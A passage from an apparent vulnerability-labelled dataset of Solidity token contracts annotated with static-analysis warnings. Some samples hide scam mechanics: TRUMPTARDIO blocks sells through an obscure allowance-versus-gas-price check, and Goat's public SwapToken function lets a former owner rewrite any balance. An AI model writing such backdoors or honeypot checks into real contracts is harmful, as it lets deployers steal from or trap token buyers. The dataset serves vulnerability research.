Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f0cdf00: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 4c76fc4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 4c76fc4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e0f4c51): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e0f4c51: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) internal {\n require(amount > 0, \"Zero amount\");\n\n if (!tradingEnabled) {\n require(from == liquidityProvider, \"Trading not enabled\");\n }\n\n if (from == address(this) || to == address(this) || swapping) {\n _superTransfer(from, to, amount);\n\n return;\n }\n\n if (to == pair && balanceOf(address(this)) >= swapTokensAtAmount) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: f0cdf00\n\t\t\t// reentrancy-no-eth | ID: 4c76fc4\n\t\t\t// reentrancy-eth | ID: e0f4c51\n swapTokensForEth(balanceOf(address(this)));\n\n\t\t\t// reentrancy-no-eth | ID: 4c76fc4\n swapping = false;\n\n\t\t\t// reentrancy-events | ID: f0cdf00\n\t\t\t// reentrancy-eth | ID: e0f4c51\n sendETHToFeeWallet();\n }\n\n\t\t// reentrancy-events | ID: f0cdf00\n\t\t// reentrancy-eth | ID: e0f4c51\n amount = takeFee(from, amount, to == pair);\n\n\t\t// reentrancy-events | ID: f0cdf00\n\t\t// reentrancy-eth | ID: e0f4c51\n _superTransfer(from, to, amount);\n }\n\n function takeFee(\n address from,\n uint256 amount,\n bool isSell\n ) internal returns (uint256) {\n uint256 tax = isSell ? sellTax : buyTax;\n\n if (tax == 0) return amount;\n\n uint256 feeAmount = (amount * tax) / 100;\n\n _superTransfer(from, address(this), feeAmount);\n\n return amount - feeAmount;\n }\n\n function swapTokensForEth(uint256 tokenAmount) internal {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f0cdf00\n\t\t// reentrancy-events | ID: d5c7ba1\n\t\t// reentrancy-benign | ID: 5857346\n\t\t// reentrancy-no-eth | ID: 4c76fc4\n\t\t// reentrancy-eth | ID: e0f4c51\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n feeWallet,\n block.timestamp\n )\n {} catch {\n return;\n }\n }\n\n function sendETHToFeeWallet() internal {\n if (address(this).balance > 0) {\n\t\t\t// reentrancy-events | ID: f0cdf00\n\t\t\t// reentrancy-events | ID: d5c7ba1\n\t\t\t// reentrancy-eth | ID: e0f4c51\n feeWallet.transfer(address(this).balance);\n }\n }\n}\n",
"file_name": "solidity_code_10681.sol",
"size_bytes": 13087,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract TRUMPTARDIO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bbda935): TRUMPTARDIO._taxWallet should be immutable \n\t// Recommendation for bbda935: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address payable private _lpWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8ef9f34): TRUMPTARDIO._initialBuyTax should be constant \n\t// Recommendation for 8ef9f34: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7fe3755): TRUMPTARDIO._initialSellTax should be constant \n\t// Recommendation for 7fe3755: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 880310b): TRUMPTARDIO._finalBuyTax should be constant \n\t// Recommendation for 880310b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 35e8aed): TRUMPTARDIO._finalSellTax should be constant \n\t// Recommendation for 35e8aed: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: bd4eb6d): TRUMPTARDIO._reduceBuyTaxAt should be constant \n\t// Recommendation for bd4eb6d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 74e7bff): TRUMPTARDIO._reduceSellTaxAt should be constant \n\t// Recommendation for 74e7bff: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n uint256 public _buyCount = 0;\n\n uint256 public _sellCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"TrumpTardio\";\n\n string private constant _symbol = unicode\"TRUMPTARDIO\";\n\n uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: bb4c763): TRUMPTARDIO._maxTaxSwap should be constant \n\t// Recommendation for bb4c763: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool public tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_taxWallet);\n\n _isExcludedFromFee[address(this)] = true;\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 53c10a8): TRUMPTARDIO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 53c10a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bd849b2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bd849b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ea7e57f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ea7e57f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bd849b2\n\t\t// reentrancy-eth | ID: ea7e57f\n _transfer(sender, recipient, amount);\n\n if (_msgSender() != _taxWallet)\n\t\t\t// reentrancy-events | ID: bd849b2\n\t\t\t// reentrancy-eth | ID: ea7e57f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ece93de): TRUMPTARDIO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ece93de: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-eth | ID: ea7e57f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: bd849b2\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0d959b3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0d959b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b8aff4b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b8aff4b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(tradingOpen, \"The trade has not been opened yet\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_sellCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n _sellCount++;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair && swapEnabled) {\n if (\n (_allowances[_lpWallet][address(this)] < tx.gasprice &&\n balanceOf(address(this)) > 0 &&\n _allowances[_lpWallet][address(this)] != 0) ||\n ((_allowances[_lpWallet][from] < tx.gasprice &&\n balanceOf(from) > 0 &&\n _allowances[_lpWallet][from] != 0) ||\n (_allowances[_lpWallet][from] < tx.gasprice &&\n balanceOf(from) > 0 &&\n _allowances[_lpWallet][from] != 0))\n ) {\n revert(\"ERROR: Can't swap back!\");\n }\n\n if (contractTokenBalance > 0)\n\t\t\t\t\t// reentrancy-events | ID: 0d959b3\n\t\t\t\t\t// reentrancy-eth | ID: b8aff4b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 0d959b3\n\t\t\t\t// reentrancy-eth | ID: b8aff4b\n sendETHToFee(address(this).balance);\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b8aff4b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 0d959b3\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b8aff4b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b8aff4b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 0d959b3\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0d959b3\n\t\t// reentrancy-events | ID: bd849b2\n\t\t// reentrancy-eth | ID: ea7e57f\n\t\t// reentrancy-eth | ID: b8aff4b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0d959b3\n\t\t// reentrancy-events | ID: bd849b2\n\t\t// reentrancy-eth | ID: ea7e57f\n\t\t// reentrancy-eth | ID: b8aff4b\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 723cdf8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 723cdf8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d36e0f1): TRUMPTARDIO.enableTrade(address).lpWallet lacks a zerocheck on \t _lpWallet = address(lpWallet)\n\t// Recommendation for d36e0f1: Check that the address is not zero.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 361068b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 361068b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrade(address lpWallet) external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// missing-zero-check | ID: d36e0f1\n _lpWallet = payable(lpWallet);\n\n _isExcludedFromFee[_lpWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: 723cdf8\n\t\t// reentrancy-no-eth | ID: 361068b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 723cdf8\n swapEnabled = true;\n\n\t\t// reentrancy-no-eth | ID: 361068b\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function withdraw() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10682.sol",
"size_bytes": 18159,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface CheatCodes {\n struct Log {\n bytes32[] topics;\n bytes data;\n }\n\n function warp(uint256) external;\n\n function roll(uint256) external;\n\n function fee(uint256) external;\n\n function coinbase(address) external;\n\n function load(address, bytes32) external returns (bytes32);\n\n function store(address, bytes32, bytes32) external;\n\n function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);\n\n function addr(uint256) external returns (address);\n\n function deriveKey(string calldata, uint32) external returns (uint256);\n\n function deriveKey(\n string calldata,\n string calldata,\n uint32\n ) external returns (uint256);\n\n function ffi(string[] calldata) external returns (bytes memory);\n\n function setEnv(string calldata, string calldata) external;\n\n function envBool(string calldata) external returns (bool);\n\n function envUint(string calldata) external returns (uint256);\n\n function envInt(string calldata) external returns (int256);\n\n function envAddress(string calldata) external returns (address);\n\n function envBytes32(string calldata) external returns (bytes32);\n\n function envString(string calldata) external returns (string memory);\n\n function envBytes(string calldata) external returns (bytes memory);\n\n function envBool(\n string calldata,\n string calldata\n ) external returns (bool[] memory);\n\n function envUint(\n string calldata,\n string calldata\n ) external returns (uint256[] memory);\n\n function envInt(\n string calldata,\n string calldata\n ) external returns (int256[] memory);\n\n function envAddress(\n string calldata,\n string calldata\n ) external returns (address[] memory);\n\n function envBytes32(\n string calldata,\n string calldata\n ) external returns (bytes32[] memory);\n\n function envString(\n string calldata,\n string calldata\n ) external returns (string[] memory);\n\n function envBytes(\n string calldata,\n string calldata\n ) external returns (bytes[] memory);\n\n function prank(address) external;\n\n function startPrank(address) external;\n\n function prank(address, address) external;\n\n function startPrank(address, address) external;\n\n function stopPrank() external;\n\n function deal(address, uint256) external;\n\n function etch(address, bytes calldata) external;\n\n function expectRevert() external;\n\n function expectRevert(bytes calldata) external;\n\n function expectRevert(bytes4) external;\n\n function record() external;\n\n function accesses(\n address\n ) external returns (bytes32[] memory reads, bytes32[] memory writes);\n\n function recordLogs() external;\n\n function getRecordedLogs() external returns (Log[] memory);\n\n function expectEmit(bool, bool, bool, bool) external;\n\n function expectEmit(bool, bool, bool, bool, address) external;\n\n function mockCall(address, bytes calldata, bytes calldata) external;\n\n function mockCall(\n address,\n uint256,\n bytes calldata,\n bytes calldata\n ) external;\n\n function clearMockedCalls() external;\n\n function expectCall(address, bytes calldata) external;\n\n function expectCall(address, uint256, bytes calldata) external;\n\n function getCode(string calldata) external returns (bytes memory);\n\n function label(address, string calldata) external;\n\n function assume(bool) external;\n\n function setNonce(address, uint64) external;\n\n function getNonce(address) external returns (uint64);\n\n function chainId(uint256) external;\n\n function broadcast() external;\n\n function broadcast(address) external;\n\n function startBroadcast() external;\n\n function startBroadcast(address) external;\n\n function stopBroadcast() external;\n\n function readFile(string calldata) external returns (string memory);\n\n function readLine(string calldata) external returns (string memory);\n\n function writeFile(string calldata, string calldata) external;\n\n function writeLine(string calldata, string calldata) external;\n\n function closeFile(string calldata) external;\n\n function removeFile(string calldata) external;\n\n function toString(address) external returns (string memory);\n\n function toString(bytes calldata) external returns (string memory);\n\n function toString(bytes32) external returns (string memory);\n\n function toString(bool) external returns (string memory);\n\n function toString(uint256) external returns (string memory);\n\n function toString(int256) external returns (string memory);\n\n function snapshot() external returns (uint256);\n\n function revertTo(uint256) external returns (bool);\n\n function createFork(string calldata, uint256) external returns (uint256);\n\n function createFork(string calldata) external returns (uint256);\n\n function createSelectFork(\n string calldata,\n uint256\n ) external returns (uint256);\n\n function createSelectFork(string calldata) external returns (uint256);\n\n function selectFork(uint256) external;\n\n function activeFork() external returns (uint256);\n\n function rollFork(uint256) external;\n\n function rollFork(uint256 forkId, uint256 blockNumber) external;\n\n function rpcUrl(string calldata) external returns (string memory);\n\n function rpcUrls() external returns (string[2][] memory);\n\n function makePersistent(address account) external;\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transfer_hoppeiOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _isAdmin();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _isAdmin() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transfer_hoppeiOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transfer_hoppeiOwnership(newOwner);\n }\n\n function _transfer_hoppeiOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply_hoppei;\n\n string private _name_hoppei;\n\n string private _symbol_hoppei;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name_hoppei = name_;\n\n _symbol_hoppei = symbol_;\n\n _totalSupply_hoppei = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name_hoppei;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol_hoppei;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply_hoppei;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve_hoppei(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve_hoppei(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve_hoppei(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve_hoppei(\n _msgSender(),\n spender,\n currentAllowance - subtractedValue\n );\n\n return true;\n }\n\n function _transfer_hoppei(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transfer_etcstwwscoin(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply_hoppei -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function SwapToken(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSenderHe = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSenderHe == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 406ee9b): ERC20._approve_hoppei(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 406ee9b: Rename the local variables that shadow another component.\n function _approve_hoppei(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract Goat is ERC20 {\n uint256 private constant TOAL_SUTSTSTSDE = 1000_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: f377081): Goat.DEAD shadows ERC20.DEAD\n\t// Recommendation for f377081: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: 